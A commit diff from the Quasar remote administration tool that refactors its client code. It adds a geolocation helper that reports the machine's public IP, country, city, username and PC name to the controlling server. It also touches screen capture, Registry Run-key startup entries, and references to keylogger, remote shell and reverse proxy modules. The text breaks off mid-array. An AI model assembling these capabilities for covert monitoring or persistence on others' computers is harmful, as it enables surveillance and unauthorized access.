mirror of https://github.com/quasar/Quasar.git
Improved GeoLocation implementation
This commit is contained in:
parent
db2c7e8adf
commit
c63e361136
|
@ -50,7 +50,7 @@
|
||||||
<Compile Include="Core\Helper\FormatHelper.cs" />
|
<Compile Include="Core\Helper\FormatHelper.cs" />
|
||||||
<Compile Include="Core\Helper\NativeMethodsHelper.cs" />
|
<Compile Include="Core\Helper\NativeMethodsHelper.cs" />
|
||||||
<Compile Include="Core\Helper\PlatformHelper.cs" />
|
<Compile Include="Core\Helper\PlatformHelper.cs" />
|
||||||
<Compile Include="Core\Helper\RemoteDesktopHelper.cs" />
|
<Compile Include="Core\Helper\ScreenHelper.cs" />
|
||||||
<Compile Include="Core\Networking\Client.cs" />
|
<Compile Include="Core\Networking\Client.cs" />
|
||||||
<Compile Include="Core\Commands\CommandHandler.cs" />
|
<Compile Include="Core\Commands\CommandHandler.cs" />
|
||||||
<Compile Include="Core\Commands\ConnectionHandler.cs" />
|
<Compile Include="Core\Commands\ConnectionHandler.cs" />
|
||||||
|
@ -74,7 +74,6 @@
|
||||||
<Compile Include="Core\Utilities\FileSplit.cs" />
|
<Compile Include="Core\Utilities\FileSplit.cs" />
|
||||||
<Compile Include="Core\Utilities\NativeMethods.cs" />
|
<Compile Include="Core\Utilities\NativeMethods.cs" />
|
||||||
<Compile Include="Core\Utilities\UnsafeStreamCodec.cs" />
|
<Compile Include="Core\Utilities\UnsafeStreamCodec.cs" />
|
||||||
<Compile Include="Core\Information\OSInfo.cs" />
|
|
||||||
<Compile Include="Core\Compression\JpgCompression.cs" />
|
<Compile Include="Core\Compression\JpgCompression.cs" />
|
||||||
<Compile Include="Core\Extensions\SocketExtensions.cs" />
|
<Compile Include="Core\Extensions\SocketExtensions.cs" />
|
||||||
<Compile Include="Core\Keylogger\Hook.cs" />
|
<Compile Include="Core\Keylogger\Hook.cs" />
|
||||||
|
@ -161,7 +160,7 @@
|
||||||
<Compile Include="Core\ProtoBuf\KeyValuePairProxy.cs" />
|
<Compile Include="Core\ProtoBuf\KeyValuePairProxy.cs" />
|
||||||
<Compile Include="Core\ProtoBuf\ProtoConverterAttribute.cs" />
|
<Compile Include="Core\ProtoBuf\ProtoConverterAttribute.cs" />
|
||||||
<Compile Include="Core\ProtoBuf\Serializers\ImmutableCollectionDecorator.cs" />
|
<Compile Include="Core\ProtoBuf\Serializers\ImmutableCollectionDecorator.cs" />
|
||||||
<Compile Include="Core\RemoteShell\Shell.cs" />
|
<Compile Include="Core\Utilities\Shell.cs" />
|
||||||
<Compile Include="Core\ReverseProxy\Packets\ReverseProxyConnect.cs" />
|
<Compile Include="Core\ReverseProxy\Packets\ReverseProxyConnect.cs" />
|
||||||
<Compile Include="Core\ReverseProxy\Packets\ReverseProxyConnectResponse.cs" />
|
<Compile Include="Core\ReverseProxy\Packets\ReverseProxyConnectResponse.cs" />
|
||||||
<Compile Include="Core\ReverseProxy\Packets\ReverseProxyData.cs" />
|
<Compile Include="Core\ReverseProxy\Packets\ReverseProxyData.cs" />
|
||||||
|
@ -255,7 +254,7 @@
|
||||||
<Compile Include="Core\ProtoBuf\ServiceModel\XmlProtoSerializer.cs" />
|
<Compile Include="Core\ProtoBuf\ServiceModel\XmlProtoSerializer.cs" />
|
||||||
<Compile Include="Core\ProtoBuf\SubItemToken.cs" />
|
<Compile Include="Core\ProtoBuf\SubItemToken.cs" />
|
||||||
<Compile Include="Core\ProtoBuf\WireType.cs" />
|
<Compile Include="Core\ProtoBuf\WireType.cs" />
|
||||||
<Compile Include="Core\Information\GeoIP.cs" />
|
<Compile Include="Core\Helper\GeoLocationHelper.cs" />
|
||||||
<Compile Include="Core\Keylogger\Logger.cs" />
|
<Compile Include="Core\Keylogger\Logger.cs" />
|
||||||
<Compile Include="Enums\PathType.cs" />
|
<Compile Include="Enums\PathType.cs" />
|
||||||
<Compile Include="Enums\RemoteDesktopAction.cs" />
|
<Compile Include="Enums\RemoteDesktopAction.cs" />
|
||||||
|
|
|
@ -1,5 +1,4 @@
|
||||||
using System.Collections.Generic;
|
using System.Collections.Generic;
|
||||||
using xClient.Core.RemoteShell;
|
|
||||||
using xClient.Core.Utilities;
|
using xClient.Core.Utilities;
|
||||||
|
|
||||||
namespace xClient.Core.Commands
|
namespace xClient.Core.Commands
|
||||||
|
|
|
@ -15,9 +15,9 @@ namespace xClient.Core.Commands
|
||||||
{
|
{
|
||||||
public static void HandleGetAuthentication(Packets.ServerPackets.GetAuthentication command, Client client)
|
public static void HandleGetAuthentication(Packets.ServerPackets.GetAuthentication command, Client client)
|
||||||
{
|
{
|
||||||
SystemCore.InitializeGeoIp();
|
GeoLocationHelper.Initialize();
|
||||||
new Packets.ClientPackets.GetAuthenticationResponse(Settings.VERSION, SystemCore.OperatingSystem, SystemCore.AccountType,
|
new Packets.ClientPackets.GetAuthenticationResponse(Settings.VERSION, SystemCore.OperatingSystem, SystemCore.AccountType,
|
||||||
SystemCore.Country, SystemCore.CountryCode, SystemCore.Region, SystemCore.City, SystemCore.ImageIndex,
|
GeoLocationHelper.Country, GeoLocationHelper.CountryCode, GeoLocationHelper.Region, GeoLocationHelper.City, GeoLocationHelper.ImageIndex,
|
||||||
SystemCore.GetId(), SystemCore.GetUsername(), SystemCore.GetPcName()).Execute(client);
|
SystemCore.GetId(), SystemCore.GetUsername(), SystemCore.GetPcName()).Execute(client);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|
|
@ -26,7 +26,7 @@ namespace xClient.Core.Commands
|
||||||
|
|
||||||
IsStreamingDesktop = true;
|
IsStreamingDesktop = true;
|
||||||
|
|
||||||
var resolution = FormatHelper.FormatScreenResolution(RemoteDesktopHelper.GetBounds(command.Monitor));
|
var resolution = FormatHelper.FormatScreenResolution(ScreenHelper.GetBounds(command.Monitor));
|
||||||
|
|
||||||
if (StreamCodec == null)
|
if (StreamCodec == null)
|
||||||
StreamCodec = new UnsafeStreamCodec(command.Quality, command.Monitor, resolution);
|
StreamCodec = new UnsafeStreamCodec(command.Quality, command.Monitor, resolution);
|
||||||
|
@ -51,7 +51,7 @@ namespace xClient.Core.Commands
|
||||||
}
|
}
|
||||||
|
|
||||||
// check screen resolution while streaming remote desktop
|
// check screen resolution while streaming remote desktop
|
||||||
resolution = FormatHelper.FormatScreenResolution(RemoteDesktopHelper.GetBounds(command.Monitor));
|
resolution = FormatHelper.FormatScreenResolution(ScreenHelper.GetBounds(command.Monitor));
|
||||||
if (StreamCodec != null && StreamCodec.Resolution != resolution)
|
if (StreamCodec != null && StreamCodec.Resolution != resolution)
|
||||||
{
|
{
|
||||||
StreamCodec.Dispose();
|
StreamCodec.Dispose();
|
||||||
|
@ -62,7 +62,7 @@ namespace xClient.Core.Commands
|
||||||
Bitmap desktop = null;
|
Bitmap desktop = null;
|
||||||
try
|
try
|
||||||
{
|
{
|
||||||
desktop = RemoteDesktopHelper.CaptureScreen(command.Monitor);
|
desktop = ScreenHelper.CaptureScreen(command.Monitor);
|
||||||
desktopData = desktop.LockBits(new Rectangle(0, 0, desktop.Width, desktop.Height),
|
desktopData = desktop.LockBits(new Rectangle(0, 0, desktop.Width, desktop.Height),
|
||||||
ImageLockMode.ReadWrite, desktop.PixelFormat);
|
ImageLockMode.ReadWrite, desktop.PixelFormat);
|
||||||
|
|
||||||
|
|
|
@ -5,11 +5,10 @@ using System.IO;
|
||||||
using System.Linq;
|
using System.Linq;
|
||||||
using System.Windows.Forms;
|
using System.Windows.Forms;
|
||||||
using Microsoft.Win32;
|
using Microsoft.Win32;
|
||||||
using xClient.Core.Information;
|
|
||||||
using xClient.Core.RemoteShell;
|
|
||||||
using xClient.Core.Extensions;
|
using xClient.Core.Extensions;
|
||||||
using xClient.Core.Helper;
|
using xClient.Core.Helper;
|
||||||
using xClient.Core.Networking;
|
using xClient.Core.Networking;
|
||||||
|
using xClient.Core.Utilities;
|
||||||
using xClient.Enums;
|
using xClient.Enums;
|
||||||
|
|
||||||
namespace xClient.Core.Commands
|
namespace xClient.Core.Commands
|
||||||
|
@ -111,7 +110,7 @@ namespace xClient.Core.Commands
|
||||||
startupItems.AddRange(key.GetFormattedKeyValues().Select(formattedKeyValue => "3" + formattedKeyValue));
|
startupItems.AddRange(key.GetFormattedKeyValues().Select(formattedKeyValue => "3" + formattedKeyValue));
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
if (OSInfo.Bits == 64)
|
if (PlatformHelper.Architecture == 64)
|
||||||
{
|
{
|
||||||
using (var key = Registry.LocalMachine.OpenReadonlySubKeySafe("SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Run"))
|
using (var key = Registry.LocalMachine.OpenReadonlySubKeySafe("SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Run"))
|
||||||
{
|
{
|
||||||
|
@ -192,7 +191,7 @@ namespace xClient.Core.Commands
|
||||||
}
|
}
|
||||||
break;
|
break;
|
||||||
case 4:
|
case 4:
|
||||||
if (OSInfo.Bits != 64)
|
if (PlatformHelper.Architecture != 64)
|
||||||
throw new NotSupportedException("Only on 64-bit systems supported");
|
throw new NotSupportedException("Only on 64-bit systems supported");
|
||||||
|
|
||||||
using (var key = Registry.LocalMachine.OpenWritableSubKeySafe("SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Run"))
|
using (var key = Registry.LocalMachine.OpenWritableSubKeySafe("SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Run"))
|
||||||
|
@ -205,7 +204,7 @@ namespace xClient.Core.Commands
|
||||||
}
|
}
|
||||||
break;
|
break;
|
||||||
case 5:
|
case 5:
|
||||||
if (OSInfo.Bits != 64)
|
if (PlatformHelper.Architecture != 64)
|
||||||
throw new NotSupportedException("Only on 64-bit systems supported");
|
throw new NotSupportedException("Only on 64-bit systems supported");
|
||||||
|
|
||||||
using (var key = Registry.LocalMachine.OpenWritableSubKeySafe("SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\RunOnce"))
|
using (var key = Registry.LocalMachine.OpenWritableSubKeySafe("SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\RunOnce"))
|
||||||
|
@ -291,7 +290,7 @@ namespace xClient.Core.Commands
|
||||||
}
|
}
|
||||||
break;
|
break;
|
||||||
case 4:
|
case 4:
|
||||||
if (OSInfo.Bits != 64)
|
if (PlatformHelper.Architecture != 64)
|
||||||
throw new NotSupportedException("Only on 64-bit systems supported");
|
throw new NotSupportedException("Only on 64-bit systems supported");
|
||||||
|
|
||||||
using (
|
using (
|
||||||
|
@ -305,7 +304,7 @@ namespace xClient.Core.Commands
|
||||||
}
|
}
|
||||||
break;
|
break;
|
||||||
case 5:
|
case 5:
|
||||||
if (OSInfo.Bits != 64)
|
if (PlatformHelper.Architecture != 64)
|
||||||
throw new NotSupportedException("Only on 64-bit systems supported");
|
throw new NotSupportedException("Only on 64-bit systems supported");
|
||||||
|
|
||||||
using (
|
using (
|
||||||
|
|
|
@ -0,0 +1,156 @@
|
||||||
|
using System;
|
||||||
|
using System.IO;
|
||||||
|
using System.Net;
|
||||||
|
using System.Xml;
|
||||||
|
|
||||||
|
namespace xClient.Core.Helper
|
||||||
|
{
|
||||||
|
public static class GeoLocationHelper
|
||||||
|
{
|
||||||
|
public static readonly string[] ImageList =
|
||||||
|
{
|
||||||
|
"ad.png", "ae.png", "af.png", "ag.png", "ai.png", "al.png",
|
||||||
|
"am.png", "an.png", "ao.png", "ar.png", "as.png", "at.png", "au.png", "aw.png", "ax.png", "az.png", "ba.png",
|
||||||
|
"bb.png", "bd.png", "be.png", "bf.png", "bg.png", "bh.png", "bi.png", "bj.png", "bm.png", "bn.png", "bo.png",
|
||||||
|
"br.png", "bs.png", "bt.png", "bv.png", "bw.png", "by.png", "bz.png", "ca.png", "catalonia.png", "cc.png",
|
||||||
|
"cd.png", "cf.png", "cg.png", "ch.png", "ci.png", "ck.png", "cl.png", "cm.png", "cn.png", "co.png", "cr.png",
|
||||||
|
"cs.png", "cu.png", "cv.png", "cx.png", "cy.png", "cz.png", "de.png", "dj.png", "dk.png", "dm.png", "do.png",
|
||||||
|
"dz.png", "ec.png", "ee.png", "eg.png", "eh.png", "england.png", "er.png", "es.png", "et.png",
|
||||||
|
"europeanunion.png", "fam.png", "fi.png", "fj.png", "fk.png", "fm.png", "fo.png", "fr.png", "ga.png",
|
||||||
|
"gb.png", "gd.png", "ge.png", "gf.png", "gh.png", "gi.png", "gl.png", "gm.png", "gn.png", "gp.png", "gq.png",
|
||||||
|
"gr.png", "gs.png", "gt.png", "gu.png", "gw.png", "gy.png", "hk.png", "hm.png", "hn.png", "hr.png", "ht.png",
|
||||||
|
"hu.png", "id.png", "ie.png", "il.png", "in.png", "io.png", "iq.png", "ir.png", "is.png", "it.png", "jm.png",
|
||||||
|
"jo.png", "jp.png", "ke.png", "kg.png", "kh.png", "ki.png", "km.png", "kn.png", "kp.png", "kr.png", "kw.png",
|
||||||
|
"ky.png", "kz.png", "la.png", "lb.png", "lc.png", "li.png", "lk.png", "lr.png", "ls.png", "lt.png", "lu.png",
|
||||||
|
"lv.png", "ly.png", "ma.png", "mc.png", "md.png", "me.png", "mg.png", "mh.png", "mk.png", "ml.png", "mm.png",
|
||||||
|
"mn.png", "mo.png", "mp.png", "mq.png", "mr.png", "ms.png", "mt.png", "mu.png", "mv.png", "mw.png", "mx.png",
|
||||||
|
"my.png", "mz.png", "na.png", "nc.png", "ne.png", "nf.png", "ng.png", "ni.png", "nl.png", "no.png", "np.png",
|
||||||
|
"nr.png", "nu.png", "nz.png", "om.png", "pa.png", "pe.png", "pf.png", "pg.png", "ph.png", "pk.png", "pl.png",
|
||||||
|
"pm.png", "pn.png", "pr.png", "ps.png", "pt.png", "pw.png", "py.png", "qa.png", "re.png", "ro.png", "rs.png",
|
||||||
|
"ru.png", "rw.png", "sa.png", "sb.png", "sc.png", "scotland.png", "sd.png", "se.png", "sg.png", "sh.png",
|
||||||
|
"si.png", "sj.png", "sk.png", "sl.png", "sm.png", "sn.png", "so.png", "sr.png", "st.png", "sv.png", "sy.png",
|
||||||
|
"sz.png", "tc.png", "td.png", "tf.png", "tg.png", "th.png", "tj.png", "tk.png", "tl.png", "tm.png", "tn.png",
|
||||||
|
"to.png", "tr.png", "tt.png", "tv.png", "tw.png", "tz.png", "ua.png", "ug.png", "um.png", "us.png", "uy.png",
|
||||||
|
"uz.png", "va.png", "vc.png", "ve.png", "vg.png", "vi.png", "vn.png", "vu.png", "wales.png", "wf.png",
|
||||||
|
"ws.png", "ye.png", "yt.png", "za.png", "zm.png", "zw.png"
|
||||||
|
};
|
||||||
|
|
||||||
|
public static int ImageIndex { get; set; }
|
||||||
|
public static string Country { get; private set; }
|
||||||
|
public static string CountryCode { get; private set; }
|
||||||
|
public static string Region { get; private set; }
|
||||||
|
public static string City { get; private set; }
|
||||||
|
public static DateTime LastLocated { get; private set; }
|
||||||
|
public static bool LocationCompleted { get; private set; }
|
||||||
|
|
||||||
|
static GeoLocationHelper()
|
||||||
|
{
|
||||||
|
LastLocated = new DateTime(1, 1, 1, 0, 0, 0, DateTimeKind.Utc);
|
||||||
|
}
|
||||||
|
|
||||||
|
public static void Initialize()
|
||||||
|
{
|
||||||
|
TimeSpan lastLocateTry = new TimeSpan(DateTime.UtcNow.Ticks - LastLocated.Ticks);
|
||||||
|
|
||||||
|
// last location was 30 minutes ago or last location has not completed
|
||||||
|
if (lastLocateTry.TotalMinutes > 30 || !LocationCompleted)
|
||||||
|
{
|
||||||
|
TryGetWanIp();
|
||||||
|
TryLocate();
|
||||||
|
|
||||||
|
if (CountryCode == "-" || Country == "Unknown")
|
||||||
|
{
|
||||||
|
ImageIndex = 247; // question icon
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
for (int i = 0; i < ImageList.Length; i++)
|
||||||
|
{
|
||||||
|
if (ImageList[i].Contains(CountryCode.ToLower()))
|
||||||
|
{
|
||||||
|
ImageIndex = i;
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
private static void TryGetWanIp()
|
||||||
|
{
|
||||||
|
string wanIp = "-";
|
||||||
|
|
||||||
|
try
|
||||||
|
{
|
||||||
|
HttpWebRequest request = (HttpWebRequest)WebRequest.Create("https://api.ipify.org/");
|
||||||
|
request.UserAgent = "Mozilla/5.0 (Windows NT 6.3; rv:36.0) Gecko/20100101 Firefox/36.0";
|
||||||
|
request.Proxy = null;
|
||||||
|
request.Timeout = 5000;
|
||||||
|
|
||||||
|
using (HttpWebResponse response = (HttpWebResponse)request.GetResponse())
|
||||||
|
{
|
||||||
|
using (Stream dataStream = response.GetResponseStream())
|
||||||
|
{
|
||||||
|
using (StreamReader reader = new StreamReader(dataStream))
|
||||||
|
{
|
||||||
|
wanIp = reader.ReadToEnd();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
catch (Exception)
|
||||||
|
{
|
||||||
|
}
|
||||||
|
|
||||||
|
SystemCore.WanIp = wanIp;
|
||||||
|
}
|
||||||
|
|
||||||
|
private static void TryLocate()
|
||||||
|
{
|
||||||
|
try
|
||||||
|
{
|
||||||
|
HttpWebRequest request = (HttpWebRequest) WebRequest.Create("https://freegeoip.net/xml/");
|
||||||
|
request.UserAgent = "Mozilla/5.0 (Windows NT 6.3; rv:36.0) Gecko/20100101 Firefox/36.0";
|
||||||
|
request.Proxy = null;
|
||||||
|
request.Timeout = 5000;
|
||||||
|
|
||||||
|
using (HttpWebResponse response = (HttpWebResponse) request.GetResponse())
|
||||||
|
{
|
||||||
|
using (Stream dataStream = response.GetResponseStream())
|
||||||
|
{
|
||||||
|
using (StreamReader reader = new StreamReader(dataStream))
|
||||||
|
{
|
||||||
|
string responseString = reader.ReadToEnd();
|
||||||
|
|
||||||
|
XmlDocument doc = new XmlDocument();
|
||||||
|
doc.LoadXml(responseString);
|
||||||
|
|
||||||
|
Country = (!string.IsNullOrEmpty(doc.SelectSingleNode("Response//CountryName").InnerXml))
|
||||||
|
? doc.SelectSingleNode("Response//CountryName").InnerXml
|
||||||
|
: "Unknown";
|
||||||
|
CountryCode =
|
||||||
|
(!string.IsNullOrEmpty(doc.SelectSingleNode("Response//CountryCode").InnerXml))
|
||||||
|
? doc.SelectSingleNode("Response//CountryCode").InnerXml
|
||||||
|
: "-";
|
||||||
|
Region = (!string.IsNullOrEmpty(doc.SelectSingleNode("Response//RegionName").InnerXml))
|
||||||
|
? doc.SelectSingleNode("Response//RegionName").InnerXml
|
||||||
|
: "Unknown";
|
||||||
|
City = (!string.IsNullOrEmpty(doc.SelectSingleNode("Response//City").InnerXml))
|
||||||
|
? doc.SelectSingleNode("Response//City").InnerXml
|
||||||
|
: "Unknown";
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
LastLocated = DateTime.UtcNow;
|
||||||
|
LocationCompleted = true;
|
||||||
|
}
|
||||||
|
catch
|
||||||
|
{
|
||||||
|
Country = "Unknown";
|
||||||
|
CountryCode = "-";
|
||||||
|
Region = "Unknown";
|
||||||
|
City = "Unknown";
|
||||||
|
LocationCompleted = false;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
|
@ -1,6 +1,8 @@
|
||||||
using System;
|
using System;
|
||||||
|
using System.Management;
|
||||||
|
using System.Text.RegularExpressions;
|
||||||
|
|
||||||
namespace xServer.Core.Helper
|
namespace xClient.Core.Helper
|
||||||
{
|
{
|
||||||
public static class PlatformHelper
|
public static class PlatformHelper
|
||||||
{
|
{
|
||||||
|
@ -15,7 +17,31 @@ namespace xServer.Core.Helper
|
||||||
SevenOrHigher = Win32NT && (Environment.OSVersion.Version >= new Version(6, 1));
|
SevenOrHigher = Win32NT && (Environment.OSVersion.Version >= new Version(6, 1));
|
||||||
EightOrHigher = Win32NT && (Environment.OSVersion.Version >= new Version(6, 2, 9200));
|
EightOrHigher = Win32NT && (Environment.OSVersion.Version >= new Version(6, 2, 9200));
|
||||||
RunningOnMono = Type.GetType("Mono.Runtime") != null;
|
RunningOnMono = Type.GetType("Mono.Runtime") != null;
|
||||||
|
|
||||||
|
Name = "Unknown OS";
|
||||||
|
using (
|
||||||
|
ManagementObjectSearcher searcher =
|
||||||
|
new ManagementObjectSearcher("SELECT Caption FROM Win32_OperatingSystem"))
|
||||||
|
{
|
||||||
|
foreach (ManagementObject os in searcher.Get())
|
||||||
|
{
|
||||||
|
Name = os["Caption"].ToString();
|
||||||
|
break;
|
||||||
}
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
Name = Regex.Replace(Name, "^.*(?=Windows)", "").TrimEnd().TrimStart(); // Remove everything before first match "Windows" and trim end & start
|
||||||
|
}
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Gets the name of the operating system running on this computer (including the edition).
|
||||||
|
/// </summary>
|
||||||
|
public static string Name { get; private set; }
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Determines if the current application is 32 or 64-bit.
|
||||||
|
/// </summary>
|
||||||
|
public static int Architecture { get { return IntPtr.Size * 8; } }
|
||||||
|
|
||||||
/// <summary>
|
/// <summary>
|
||||||
/// Returns a indicating whether the application is running in Mono runtime.
|
/// Returns a indicating whether the application is running in Mono runtime.
|
||||||
|
|
|
@ -5,7 +5,7 @@ using xClient.Core.Utilities;
|
||||||
|
|
||||||
namespace xClient.Core.Helper
|
namespace xClient.Core.Helper
|
||||||
{
|
{
|
||||||
public static class RemoteDesktopHelper
|
public static class ScreenHelper
|
||||||
{
|
{
|
||||||
private const int SRCCOPY = 0x00CC0020;
|
private const int SRCCOPY = 0x00CC0020;
|
||||||
|
|
|
@ -1,63 +0,0 @@
|
||||||
using System.IO;
|
|
||||||
using System.Net;
|
|
||||||
using System.Xml;
|
|
||||||
|
|
||||||
namespace xClient.Core.Information
|
|
||||||
{
|
|
||||||
internal class GeoIP
|
|
||||||
{
|
|
||||||
public string WanIp { get; private set; }
|
|
||||||
public string Country { get; private set; }
|
|
||||||
public string CountryCode { get; private set; }
|
|
||||||
public string Region { get; private set; }
|
|
||||||
public string City { get; private set; }
|
|
||||||
|
|
||||||
public GeoIP()
|
|
||||||
{
|
|
||||||
try
|
|
||||||
{
|
|
||||||
HttpWebRequest request = (HttpWebRequest) WebRequest.Create("https://freegeoip.net/xml/");
|
|
||||||
request.UserAgent = "Mozilla/5.0 (Windows NT 6.3; rv:36.0) Gecko/20100101 Firefox/36.0";
|
|
||||||
request.Proxy = null;
|
|
||||||
request.Timeout = 5000;
|
|
||||||
|
|
||||||
using (HttpWebResponse response = (HttpWebResponse) request.GetResponse())
|
|
||||||
{
|
|
||||||
using (Stream dataStream = response.GetResponseStream())
|
|
||||||
{
|
|
||||||
using (StreamReader reader = new StreamReader(dataStream))
|
|
||||||
{
|
|
||||||
string responseString = reader.ReadToEnd();
|
|
||||||
|
|
||||||
XmlDocument doc = new XmlDocument();
|
|
||||||
doc.LoadXml(responseString);
|
|
||||||
|
|
||||||
WanIp = doc.SelectSingleNode("Response//IP").InnerXml;
|
|
||||||
Country = (!string.IsNullOrEmpty(doc.SelectSingleNode("Response//CountryName").InnerXml))
|
|
||||||
? doc.SelectSingleNode("Response//CountryName").InnerXml
|
|
||||||
: "Unknown";
|
|
||||||
CountryCode =
|
|
||||||
(!string.IsNullOrEmpty(doc.SelectSingleNode("Response//CountryCode").InnerXml))
|
|
||||||
? doc.SelectSingleNode("Response//CountryCode").InnerXml
|
|
||||||
: "-";
|
|
||||||
Region = (!string.IsNullOrEmpty(doc.SelectSingleNode("Response//RegionName").InnerXml))
|
|
||||||
? doc.SelectSingleNode("Response//RegionName").InnerXml
|
|
||||||
: "Unknown";
|
|
||||||
City = (!string.IsNullOrEmpty(doc.SelectSingleNode("Response//City").InnerXml))
|
|
||||||
? doc.SelectSingleNode("Response//City").InnerXml
|
|
||||||
: "Unknown";
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
catch
|
|
||||||
{
|
|
||||||
WanIp = "-";
|
|
||||||
Country = "Unknown";
|
|
||||||
CountryCode = "-";
|
|
||||||
Region = "Unknown";
|
|
||||||
City = "Unknown";
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
|
@ -1,56 +0,0 @@
|
||||||
using System;
|
|
||||||
using System.Management;
|
|
||||||
using System.Text.RegularExpressions;
|
|
||||||
|
|
||||||
namespace xClient.Core.Information
|
|
||||||
{
|
|
||||||
public static class OSInfo
|
|
||||||
{
|
|
||||||
#region BITS
|
|
||||||
|
|
||||||
/// <summary>
|
|
||||||
/// Determines if the current application is 32 or 64-bit.
|
|
||||||
/// </summary>
|
|
||||||
public static int Bits
|
|
||||||
{
|
|
||||||
get { return IntPtr.Size*8; }
|
|
||||||
}
|
|
||||||
|
|
||||||
#endregion BITS
|
|
||||||
|
|
||||||
#region NAME
|
|
||||||
|
|
||||||
private static string _osName;
|
|
||||||
|
|
||||||
/// <summary>
|
|
||||||
/// Gets the name of the operating system running on this computer (including the edition).
|
|
||||||
/// </summary>
|
|
||||||
public static string Name
|
|
||||||
{
|
|
||||||
get
|
|
||||||
{
|
|
||||||
if (_osName != null)
|
|
||||||
return _osName;
|
|
||||||
|
|
||||||
string name = "Uknown OS";
|
|
||||||
using (
|
|
||||||
ManagementObjectSearcher searcher =
|
|
||||||
new ManagementObjectSearcher("SELECT Caption FROM Win32_OperatingSystem"))
|
|
||||||
{
|
|
||||||
foreach (ManagementObject os in searcher.Get())
|
|
||||||
{
|
|
||||||
name = os["Caption"].ToString();
|
|
||||||
break;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
name = Regex.Replace(name, "^.*(?=Windows)", "").TrimEnd().TrimStart(); // Remove everything before first match "Windows" and trim end & start
|
|
||||||
|
|
||||||
_osName = name;
|
|
||||||
return _osName;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
#endregion NAME
|
|
||||||
}
|
|
||||||
}
|
|
|
@ -10,13 +10,11 @@ using System.Threading;
|
||||||
using System.Windows.Forms;
|
using System.Windows.Forms;
|
||||||
using Microsoft.Win32;
|
using Microsoft.Win32;
|
||||||
using xClient.Config;
|
using xClient.Config;
|
||||||
using xClient.Core.Information;
|
|
||||||
using xClient.Core.Encryption;
|
using xClient.Core.Encryption;
|
||||||
using xClient.Core.Extensions;
|
using xClient.Core.Extensions;
|
||||||
using xClient.Core.Helper;
|
using xClient.Core.Helper;
|
||||||
using xClient.Core.Networking;
|
using xClient.Core.Networking;
|
||||||
using xClient.Enums;
|
using xClient.Enums;
|
||||||
using xServer.Core.Helper;
|
|
||||||
|
|
||||||
namespace xClient.Core
|
namespace xClient.Core
|
||||||
{
|
{
|
||||||
|
@ -38,50 +36,17 @@ namespace xClient.Core
|
||||||
[MarshalAs(UnmanagedType.U4)] public UInt32 dwTime;
|
[MarshalAs(UnmanagedType.U4)] public UInt32 dwTime;
|
||||||
}
|
}
|
||||||
|
|
||||||
public static readonly string[] ImageList =
|
|
||||||
{
|
|
||||||
"ad.png", "ae.png", "af.png", "ag.png", "ai.png", "al.png",
|
|
||||||
"am.png", "an.png", "ao.png", "ar.png", "as.png", "at.png", "au.png", "aw.png", "ax.png", "az.png", "ba.png",
|
|
||||||
"bb.png", "bd.png", "be.png", "bf.png", "bg.png", "bh.png", "bi.png", "bj.png", "bm.png", "bn.png", "bo.png",
|
|
||||||
"br.png", "bs.png", "bt.png", "bv.png", "bw.png", "by.png", "bz.png", "ca.png", "catalonia.png", "cc.png",
|
|
||||||
"cd.png", "cf.png", "cg.png", "ch.png", "ci.png", "ck.png", "cl.png", "cm.png", "cn.png", "co.png", "cr.png",
|
|
||||||
"cs.png", "cu.png", "cv.png", "cx.png", "cy.png", "cz.png", "de.png", "dj.png", "dk.png", "dm.png", "do.png",
|
|
||||||
"dz.png", "ec.png", "ee.png", "eg.png", "eh.png", "england.png", "er.png", "es.png", "et.png",
|
|
||||||
"europeanunion.png", "fam.png", "fi.png", "fj.png", "fk.png", "fm.png", "fo.png", "fr.png", "ga.png",
|
|
||||||
"gb.png", "gd.png", "ge.png", "gf.png", "gh.png", "gi.png", "gl.png", "gm.png", "gn.png", "gp.png", "gq.png",
|
|
||||||
"gr.png", "gs.png", "gt.png", "gu.png", "gw.png", "gy.png", "hk.png", "hm.png", "hn.png", "hr.png", "ht.png",
|
|
||||||
"hu.png", "id.png", "ie.png", "il.png", "in.png", "io.png", "iq.png", "ir.png", "is.png", "it.png", "jm.png",
|
|
||||||
"jo.png", "jp.png", "ke.png", "kg.png", "kh.png", "ki.png", "km.png", "kn.png", "kp.png", "kr.png", "kw.png",
|
|
||||||
"ky.png", "kz.png", "la.png", "lb.png", "lc.png", "li.png", "lk.png", "lr.png", "ls.png", "lt.png", "lu.png",
|
|
||||||
"lv.png", "ly.png", "ma.png", "mc.png", "md.png", "me.png", "mg.png", "mh.png", "mk.png", "ml.png", "mm.png",
|
|
||||||
"mn.png", "mo.png", "mp.png", "mq.png", "mr.png", "ms.png", "mt.png", "mu.png", "mv.png", "mw.png", "mx.png",
|
|
||||||
"my.png", "mz.png", "na.png", "nc.png", "ne.png", "nf.png", "ng.png", "ni.png", "nl.png", "no.png", "np.png",
|
|
||||||
"nr.png", "nu.png", "nz.png", "om.png", "pa.png", "pe.png", "pf.png", "pg.png", "ph.png", "pk.png", "pl.png",
|
|
||||||
"pm.png", "pn.png", "pr.png", "ps.png", "pt.png", "pw.png", "py.png", "qa.png", "re.png", "ro.png", "rs.png",
|
|
||||||
